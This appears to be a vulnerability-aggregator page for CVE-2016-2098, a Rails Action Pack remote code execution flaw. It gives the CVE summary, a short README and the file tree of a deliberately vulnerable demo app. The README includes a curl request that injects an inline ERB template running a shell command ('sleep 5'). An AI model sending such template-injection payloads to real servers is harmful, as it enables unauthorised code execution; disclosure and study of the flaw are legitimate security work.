CVE-2016-2098 PoC — Ruby on Rails Action Pack 安全漏洞

Source

https://github.com/CyberDefenseInstitute/PoC_CVE-2016-2098_Rails42

Associated Vulnerability

Title:Ruby on Rails Action Pack 安全漏洞 (CVE-2016-2098)
Description:Action Pack in Ruby on Rails before 3.2.22.2, 4.x before 4.1.14.2, and 4.2.x before 4.2.5.2 allows remote attackers to execute arbitrary Ruby code by leveraging an application's unrestricted use of the render method.

Description

A PoC of CVE-2016-2098 (rails4.2.5.1 / view render)

Readme

# A PoC of CVE-2016-2098

* rails 4.2.5.1  
* view has a vulnerable code  
 app/views/poc/render1.html.erb  
* following command will cause remote code execution  
```$ curl '<your_host>:3000/poc/render1?template\[inline\]=<%25%3d`sleep+5`%25>'```

File Snapshot


 [4.0K]  /data/pocs/77ba3f71a665c6cc930b2fffef737dfcde8f878e
├── [4.0K]  app
│   ├── [4.0K]  assets
│   │   ├── [4.0K]  images
│   │   ├── [4.0K]  javascripts
│   │   │   ├── [ 661]  application.js
│   │   │   └── [ 211]  poc.coffee
│   │   └── [4.0K]  stylesheets
│   │       ├── [ 686]  application.css
│   │       └── [ 174]  poc.scss
│   ├── [4.0K]  controllers
│   │   ├── [ 204]  application_controller.rb
│   │   ├── [4.0K]  concerns
│   │   └── [  68]  poc_controller.rb
│   ├── [4.0K]  helpers
│   │   ├── [  29]  application_helper.rb
│   │   └── [  21]  poc_helper.rb
│   ├── [4.0K]  mailers
│   ├── [4.0K]  models
│   │   └── [4.0K]  concerns
│   └── [4.0K]  views
│       ├── [4.0K]  layouts
│       │   └── [ 311]  application.html.erb
│       └── [4.0K]  poc
│           ├── [  51]  render1.html.erb
│           └── [  10]  _template1.html.erb
├── [4.0K]  bin
│   ├── [ 129]  bundle
│   ├── [ 268]  rails
│   ├── [ 213]  rake
│   ├── [ 805]  setup
│   └── [ 488]  spring
├── [4.0K]  config
│   ├── [1.4K]  application.rb
│   ├── [ 132]  boot.rb
│   ├── [ 552]  database.yml
│   ├── [ 150]  environment.rb
│   ├── [4.0K]  environments
│   │   ├── [1.6K]  development.rb
│   │   ├── [3.2K]  production.rb
│   │   └── [1.7K]  test.rb
│   ├── [4.0K]  initializers
│   │   ├── [ 486]  assets.rb
│   │   ├── [ 404]  backtrace_silencers.rb
│   │   ├── [ 129]  cookies_serializer.rb
│   │   ├── [ 194]  filter_parameter_logging.rb
│   │   ├── [ 647]  inflections.rb
│   │   ├── [ 156]  mime_types.rb
│   │   ├── [ 157]  session_store.rb
│   │   └── [ 517]  wrap_parameters.rb
│   ├── [4.0K]  locales
│   │   └── [ 634]  en.yml
│   ├── [1.6K]  routes.rb
│   └── [ 964]  secrets.yml
├── [ 153]  config.ru
├── [4.0K]  db
│   └── [ 343]  seeds.rb
├── [1.5K]  Gemfile
├── [4.0K]  Gemfile.lock
├── [4.0K]  lib
│   ├── [4.0K]  assets
│   └── [4.0K]  tasks
├── [4.0K]  log
├── [4.0K]  public
│   ├── [1.5K]  404.html
│   ├── [1.5K]  422.html
│   ├── [1.4K]  500.html
│   ├── [   0]  favicon.ico
│   └── [ 202]  robots.txt
├── [ 249]  Rakefile
├── [ 250]  README.md
└── [4.0K]  vendor
    └── [4.0K]  assets
        ├── [4.0K]  javascripts
        └── [4.0K]  stylesheets

29 directories, 45 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!